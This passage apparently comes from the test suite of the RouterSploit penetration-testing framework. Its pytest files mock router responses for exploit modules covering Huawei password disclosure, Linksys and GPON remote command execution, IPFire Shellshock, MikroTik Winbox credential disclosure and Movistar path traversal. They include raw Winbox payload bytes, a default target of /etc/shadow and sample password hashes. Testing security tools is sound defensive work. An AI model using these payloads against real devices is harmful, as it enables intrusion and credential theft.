b\"\\x64\\x46\\x00\\x10\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xfc\\xf7\\x12\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\xe0\\x00\\x00\\x10\"\n        b\"\\x64\\xf7\\x12\\x00\\x01\\x00\\x00\\x00\\x9c\\xf7\\x12\\x00\\x65\\x03\\x92\\x7c\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x58\\xf8\\x12\\x00\\x9a\\x7d\\x92\\x7c\"\n        b\"\\x00\\x00\\x00\\x10\\xfe\\xf7\\x12\\x00\\xf8\\xf7\\x12\\x00\\xf8\\xf7\\x12\\x00\\xfe\\xf7\\x12\\x00\\x3f\\x7e\\x92\\x7c\\x78\\xb1\\x98\\x7c\\xe9\\x7d\\x92\\x7c\"\n        b\"\\x8c\\x70\\x40\\x00\\x9c\\x70\\x40\\x00\\xff\\xff\\x00\\x00\\x00\\xd0\\xfd\\x7f\\xe0\\x47\\x25\\x00\\x08\\xe4\\x80\\x7c\\xb0\\x44\\x00\\x10\\x6c\\xe4\\x80\\x7c\"\n        b\"\\xf0\\x47\\x25\\x00\\xa8\\xf8\\x12\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\xfc\\xf7\\x12\\x00\\xfc\\xf7\\x12\\x00\\x00\\x00\\x00\\x00\\xfe\\x04\\x00\\x00\"\n        b\"\\xd0\\x41\\x25\\x00\\x00\\x1b\\x00\\x10\\x00\\x00\\x67\\x65\\x74\\x41\\x64\\x73\\x6c\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x3d\\x00\\x92\\x7c\\xea\\x1b\\x80\\x7c\"\n        b\"\\x00\\x00\\x15\\x00\\x00\\x00\\x00\\x00\\xfa\\x1b\\x80\\x7c\\x64\\x5d\\x47\\x00\\x9c\\x70\\x40\\x00\\x9f\\xac\\x80\\x7c\\x4e\\x02\\x50\\x02\\xa8\\x87\\xec\\x01\"\n        b\"\\x16\\x00\\x18\\x00\\x00\\xdc\\xfd\\x7f\\xef\\xfa\\x00\\x00\\xb4\\xf7\\x12\\x00\\xa8\\x87\\xec\\x01\\xa8\\xf9\\x12\\x00\\x00\\xe9\\x91\\x7c\\xf0\\x7d\\x92\\x7c\"\n        b\"\\xff\\xff\\xff\\xff\\xe9\\x7d\\x92\\x7c\\xa0\\x7e\\x92\\x7c\\x00\\x00\\x00\\x10\\x94\\xf8\\x12\\x00\\x00\\x00\\x00\\x00\\xa8\\xf8\\x12\\x00\\x01\\x00\\x00\\x00\"\n        b\"\\x9c\\xf8\\x12\\x00\\x6e\\xae\\x80\\x7c\\x9c\\xf8\\x12\\x00\\x80\\xae\\x80\\x7c\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x64\\x5d\\x47\\x00\\x9f\\xac\\x80\\x7c\"\n        b\"\\x0d\\x00\\x0e\\x00\\x8c\\x70\\x40\\x00\\xc4\\xf8\\x12\\x00\\xd8\\xa0\\x00\\x66\\x00\\x00\\x00\\x10\\x00\\x1b\\x00\\x10\\x84\\xfb\\x12\\x00\\x54\\xfc\\x12\\x00\"\n        b\"\\x01\\x00\\x00\\x00\\x68\\xf8\\x16\\x00\\xdc\\xf8\\x12\\x00\\x44\\x4a\\x0f\\x77\\xf4\\xf8\\x12\\x00\\x3b\\xa0\\x00\\x66\\x9c\\x70\\x40\\x00\\x01\\x00\\x00\\x00\"\n        b\"\\xec\\xf8\\x12\\x00\\xf0\\xf8\\x12\\x00\\xe8\\xf8\\x12\\x00\\x84\\xfb\\x12\\x00\\x54\\xfc\\x12\\x00\\x84\\xfb\\x12\\x00\\x00\\x1b\\x00\\x10\\x00\\x00\\x00\\x00\"\n        b\"\\xb8\\xf9\\x12\\x00\\xcb\\x70\\x40\\x00\\x9c\\x70\\x40\\x00\"\n    )\n\n    command_mock = udp_target.get_command_mock(request)\n    command_mock.return_value = b\"TEST RESPONSE\"\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 43690\n\n    exploit.target = udp_target.host\n    exploit.port = udp_target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/huawei/test_hg530_hg520b_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.huawei.hg530_hg520b_password_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    cgi_mock = target.get_route_mock(\"/UD/\", methods=[\"POST\"])\n    cgi_mock.return_value = (\n        'TEST'\n        '<NewUserpassword>Admin1234</NewUserpassword>'\n        'TEST'\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/huawei/test_hg866_password_change.py",
    "content": "from routersploit.modules.exploits.routers.huawei.hg866_password_change import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/html/password.html\", methods=[\"GET\"])\n    route_mock.return_value = (\n        'TEST'\n        'psw'\n        'TEST'\n        'reenterpsw'\n        'TEST'\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.password == \"routersploit\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/ipfire/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/ipfire/test_ipfire_proxy_rce.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.ipfire.ipfire_proxy_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    data = request.form[\"NCSA_PASS\"] + \"<!DOCTYPE html>\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.ipfire.ipfire_proxy_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/proxy.cgi\", methods=[\"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 444\n    assert exploit.ssl is True\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"admin\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n    exploit.ssl = \"false\"\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/ipfire/test_ipfire_shellshock.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.ipfire.ipfire_shellshock import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    data = \"TEST\" + request.headers[\"VULN\"] + \"TEST\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.ipfire.ipfire_shellshock.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/index.cgi\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 444\n    assert exploit.ssl is True\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"admin\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n    exploit.ssl = \"false\"\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/linksys/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/linksys/test_1500_2500_rce.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.core.exploit.utils import import_exploit\n\n# hack to import from directory/filename starting with a number\nExploit = import_exploit(\"routersploit.modules.exploits.routers.linksys.1500_2500_rce\")\n\n\ndef apply_response(*args, **kwargs):\n    data = \"TEST\" + request.form[\"ping_size\"] + \"TEST\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.linksys.1500_2500_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful exploitation \"\"\"\n\n    route_mock = target.get_route_mock(\"/apply.cgi\", methods=[\"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"admin\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/linksys/test_eseries_themoon_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.linksys.eseries_themoon_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.linksys.eseries_themoon_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/HNAP1/\", methods=[\"GET\"])\n    route_mock.return_value = \"<ModelName>E2500</ModelName>\"\n\n    route_mock = target.get_route_mock(\"/tmUnblock.cgi\", methods=[\"GET\", \"POST\"])\n    route_mock.return_value = \"\"\n\n    exploit = Exploit()\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.linksys.eseries_themoon_rce.shell\")\ndef test_check_unsuccess_no_hnapi(mocked_shell, target):\n    \"\"\" Test scenario - unsuccessful check (no successful /HNAPI/ response)\"\"\"\n\n    route_mock = target.get_route_mock(\"/tmUnblock.cgi\", methods=[\"GET\", \"POST\"])\n    route_mock.return_value = \"\"\n\n    exploit = Exploit()\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert not (exploit.check())\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.linksys.eseries_themoon_rce.shell\")\ndef test_check_success_no_cgi(mocked_shell, target):\n    \"\"\" Test scenario - unsuccessful check (no successful /tmUnblock.cgi response)\"\"\"\n\n    route_mock = target.get_route_mock(\"/HNAP1/\", methods=[\"GET\"])\n    route_mock.return_value = \"<ModelName>E2500</ModelName>\"\n\n    exploit = Exploit()\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert not (exploit.check())\n"
  },
  {
    "path": "tests/exploits/routers/linksys/test_smartwifi_password_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.linksys.smartwifi_password_disclosure import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/.htpasswd\", methods=[\"GET\"])\n    route_mock.return_value = (\n        'admin:$1$3Eb757jl$zFM3Mtk8Qmkp3kjbRukUq/'\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/linksys/test_wap54gv3_rce.py",
    "content": "from unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.linksys.wap54gv3_rce import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    data = \"TEST<textarea rows=30 cols=100>\" + request.form[\"data1\"] + \"</textarea>TEST\"\n    return data, 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.linksys.wap54gv3_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/debug.cgi\", methods=[\"POST\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/linksys/test_wrt100_110_rce.py",
    "content": "from unittest import mock\nfrom routersploit.modules.exploits.routers.linksys.wrt100_110_rce import Exploit\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.linksys.wrt100_110_rce.shell\")\ndef test_check_success(mocked_shell, target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/HNAP1/\", methods=[\"GET\"])\n    route_mock.return_value = (\n        'test'\n        '<ModelName>WRT110</ModelName>'\n        'test'\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.username == \"admin\"\n    assert exploit.password == \"admin\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/mikrotik/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/mikrotik/test_winbox_auth_bypass_creds_disclosure.py",
    "content": "from routersploit.modules.exploits.routers.mikrotik.winbox_auth_bypass_creds_disclosure import Exploit\n\n\ndef test_check_success(tcp_target):\n    command_mock1 = tcp_target.get_command_mock(\n        b\"\\x68\\x01\\x00\\x66\\x4d\\x32\\x05\\x00\\xff\\x01\\x06\\x00\\xff\\x09\\x05\\x07\"\n        b\"\\x00\\xff\\x09\\x07\\x01\\x00\\x00\\x21\\x35\\x2f\\x2f\\x2f\\x2f\\x2f\\x2e\\x2f\"\n        b\"\\x2e\\x2e\\x2f\\x2f\\x2f\\x2f\\x2f\\x2f\\x2e\\x2f\\x2e\\x2e\\x2f\\x2f\\x2f\\x2f\"\n        b\"\\x2f\\x2f\\x2e\\x2f\\x2e\\x2e\\x2f\\x66\\x6c\\x61\\x73\\x68\\x2f\\x72\\x77\\x2f\"\n        b\"\\x73\\x74\\x6f\\x72\\x65\\x2f\\x75\\x73\\x65\\x72\\x2e\\x64\\x61\\x74\\x02\\x00\"\n        b\"\\xff\\x88\\x02\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x01\\x00\\xff\\x88\"\n        b\"\\x02\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\"\n    )\n    command_mock1.return_value = (\n        b\"\\x37\\x01\\x00\\x35\\x4d\\x32\\x01\\x00\\xff\\x88\\x02\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x08\\x00\\x00\\x00\\x02\\x00\\xff\\x88\\x02\\x00\\x02\\x00\\x00\\x00\\x02\\x00\"\n        b\"\\x00\\x00\\x01\\x00\\xfe\\x09\\x1b\\x03\\x00\\xff\\x09\\x02\\x02\\x00\\x00\\x08\"\n        b\"\\x36\\x01\\x00\\x00\\x06\\x00\\xff\\x09\\x05\"\n    )\n\n    command_mock2 = tcp_target.get_command_mock(\n        b\"\\x3b\\x01\\x00\\x39\\x4d\\x32\\x05\\x00\\xff\\x01\\x06\\x00\\xff\\x09\\x06\\x01\"\n        b\"\\x00\\xfe\\x09\\x1b\\x02\\x00\\x00\\x08\\x00\\x80\\x00\\x00\\x07\\x00\\xff\\x09\"\n        b\"\\x04\\x02\\x00\\xff\\x88\\x02\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x01\"\n        b\"\\x00\\xff\\x88\\x02\\x00\\x02\\x00\\x00\\x00\\x02\\x00\\x00\\x00\"\n    )\n\n    command_mock2.return_value = (\n        b\"\\xff\\x01\\x01\\x68\\x4d\\x32\\x01\\x00\\xff\\x88\\x02\\x00\\x00\\x00\\x00\\x00\"\n        b\"\\x08\\x00\\x00\\x00\\x02\\x00\\xff\\x88\\x02\\x00\\x02\\x00\\x00\\x00\\x02\\x00\"\n        b\"\\x00\\x00\\x04\\x00\\x00\\x01\\x03\\x00\\xff\\x09\\x02\\x06\\x00\\xff\\x09\\x06\"\n        b\"\\x03\\x00\\x00\\x30\\x36\\x01\\x57\\x00\\x4d\\x32\\x10\\x00\\x00\\xa8\\x00\\x00\"\n        b\"\\x1c\\x00\\x00\\x01\\x0a\\x00\\xfe\\x00\\x05\\x00\\x00\\x09\\x00\\x06\\x00\\x00\"\n        b\"\\x09\\x00\\x0b\\x00\\x00\\x08\\xfe\\xff\\x07\\x00\\x12\\x00\\x00\\x09\\x02\\x01\"\n        b\"\\x00\\xfe\\x09\\x02\\x02\\x00\\x00\\x09\\x03\\x09\\x00\\xfe\\x21\\x00\\x11\\x00\"\n        b\"\\x00\\x21\\x10\\x76\\x08\\xc6\\x04\\x66\\xa6\\x3d\\x2a\\xb7\\xcd\\xec\\x68\\xe2\"\n        b\"\\x6e\\x44\\x0e\\x01\\x00\\x00\\x21\\x05\\x75\\x73\\x65\\x72\\x31\\x6d\\x69\\x6e\"\n        b\"\\x6a\\x00\\x4d\\x32\\x10\\x00\\x00\\xa8\\x00\\x00\\x1c\\x00\\x00\\x01\\x0a\\x00\"\n        b\"\\xfe\\x00\\x05\\x00\\x00\\x09\\x00\\x06\\x00\\x00\\x09\\x00\\x0b\\x00\\x00\\x08\"\n        b\"\\xfe\\xff\\x07\\x00\\x12\\x00\\x00\\x09\\x02\\x01\\x00\\xfe\\x09\\x01\\x02\\x00\"\n        b\"\\x00\\x09\\x03\\x09\\x00\\xfe\\x21\\x13\\x73\\x79\\x73\\x74\\x65\\x6d\\x20\\x64\"\n        b\"\\x65\\x66\\x61\\x75\\x6c\\x74\\x20\\x75\\x73\\x65\\x72\\x11\\x00\\x00\\x21\\x10\"\n        b\"\\x29\\xdb\\xb3\\x6f\\x27\\x5a\\x0e\\x2d\\x09\\xd5\\xfb\\x27\\xb1\\x44\\xec\\x93\"\n        b\"\\x01\\x00\\x00\\x21\\x05\\x61\\x64\\x6d\\x69\\x6e\\x72\\x00\\x4d\\x32\\x10\\x00\"\n        b\"\\x00\\x6b\\xff\\xa8\\x00\\x00\\x1c\\x00\\x00\\x01\\x0a\\x00\\xfe\\x00\\x05\\x00\"\n        b\"\\x00\\x09\\x00\\x06\\x00\\x00\\x09\\x00\\x1f\\x00\\x00\\x08\\x36\\x2b\\x35\\x5b\"\n        b\"\\x0b\\x00\\x00\\x08\\xfe\\xff\\x07\\x00\\x12\\x00\\x00\\x09\\x02\\x01\\x00\\xfe\"\n        b\"\\x09\\x01\\x02\\x00\\x00\\x09\\x03\\x09\\x00\\xfe\\x21\\x13\\x73\\x79\\x73\\x74\"\n        b\"\\x65\\x6d\\x20\\x64\\x65\\x66\\x61\\x75\\x6c\\x74\\x20\\x75\\x73\\x65\\x72\\x11\"\n        b\"\\x00\\x00\\x21\\x10\\x29\\xdb\\xb3\\x6f\\x27\\x5a\\x0e\\x2d\\x09\\xd5\\xfb\\x27\"\n        b\"\\xb1\\x44\\xec\\x93\\x01\\x00\\x00\\x21\\x05\\x61\\x64\\x6d\\x69\\x6e\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 8291\n\n    exploit.target = tcp_target.host\n    exploit.port = tcp_target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/movistar/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/movistar/test_adsl_router_bhs_rta_path_traversal.py",
    "content": "from routersploit.modules.exploits.routers.movistar.adsl_router_bhs_rta_path_traversal import Exploit\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/cgi-bin/webproc\", methods=[\"GET\"])\n    route_mock.return_value = (\n        \"#root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::\"\n        \"root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::\"\n        \"#tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::\"\n    )\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.filename == \"/etc/shadow\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/multi/__init__.py",
    "content": ""
  },
  {
    "path": "tests/exploits/routers/multi/test_gpon_home_gateway_rce.py",
    "content": "import time\nfrom unittest import mock\nfrom flask import request\nfrom routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce import Exploit\n\n\nmark = \"\"\nfirst_req = 0\n\n\ndef apply_response1(*args, **kwargs):\n    global mark, first_req\n\n    first_req = time.time()\n    mark = request.form[\"dest_host\"]\n    return \"Test\", 200\n\n\ndef apply_response_without_waiting(*args, **kwargs):\n    global mark, first_req\n\n    response = \"diag_result = \\\"{}\\\\nNo traceroute test.\".format(mark)\n    return response, 200\n\n\ndef apply_response_with_waiting(*args, **kwargs):\n    global mark, first_req\n\n    response = \"diag_result = \\\"{}\\\\nNo traceroute test.\".format(mark)\n\n    if time.time() - first_req > 3:\n        return response, 200\n    else:\n        return \"diag_result = \\\"\\\\nNo traceroute test.\", 200\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce.shell\")\ndef test_check_success1(mocked_shell, target):\n    \"\"\" Test scenario - successful check without waiting \"\"\"\n\n    route_mock1 = target.get_route_mock(\"/GponForm/diag_Form\", methods=[\"POST\"])\n    route_mock1.side_effect = apply_response1\n\n    route_mock2 = target.get_route_mock(\"/diag.html\", methods=[\"GET\"])\n    route_mock2.side_effect = apply_response_without_waiting\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 8080\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n\n\n@mock.patch(\"routersploit.modules.exploits.routers.multi.gpon_home_gateway_rce.shell\")\ndef test_check_success2(mocked_shell, target):\n    \"\"\" Test scenario - successful check with waiting \"\"\"\n\n    route_mock1 = target.get_route_mock(\"/GponForm/diag_Form\", methods=[\"POST\"])\n    route_mock1.side_effect = apply_response1\n\n    route_mock2 = target.get_route_mock(\"/diag.html\", methods=[\"GET\"])\n    route_mock2.side_effect = apply_response_with_waiting\n\n    exploit = Exploit()\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/multi/test_misfortune_cookie.py",
    "content": "from flask import Response\nfrom routersploit.modules.exploits.routers.multi.misfortune_cookie import Exploit\n\n\ndef apply_response(*args, **kwargs):\n    resp = Response(\"TEST omg1337hax TEST\", status=404)\n    resp.headers[\"server\"] = \"RomPager\"\n    return resp\n\n\ndef test_check_success(target):\n    \"\"\" Test scenario - successful check \"\"\"\n\n    route_mock = target.get_route_mock(\"/test\", methods=[\"GET\"])\n    route_mock.side_effect = apply_response\n\n    exploit = Exploit()\n\n    assert exploit.target == \"\"\n    assert exploit.port == 80\n    assert exploit.device == \"\"\n\n    exploit.target = target.host\n    exploit.port = target.port\n\n    assert exploit.check()\n    assert exploit.run() is None\n"
  },
  {
    "path": "tests/exploits/routers/multi/test_rom0.py",
    "content": "from base64 import b64decode\nfrom routersploit.modules.exploits.routers.multi.rom0 import Exploit\n\n\nresponse = b64decode(b\"AQEAARlIZGJnYXJlYQAAAAAAAAAYAAAAAUgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA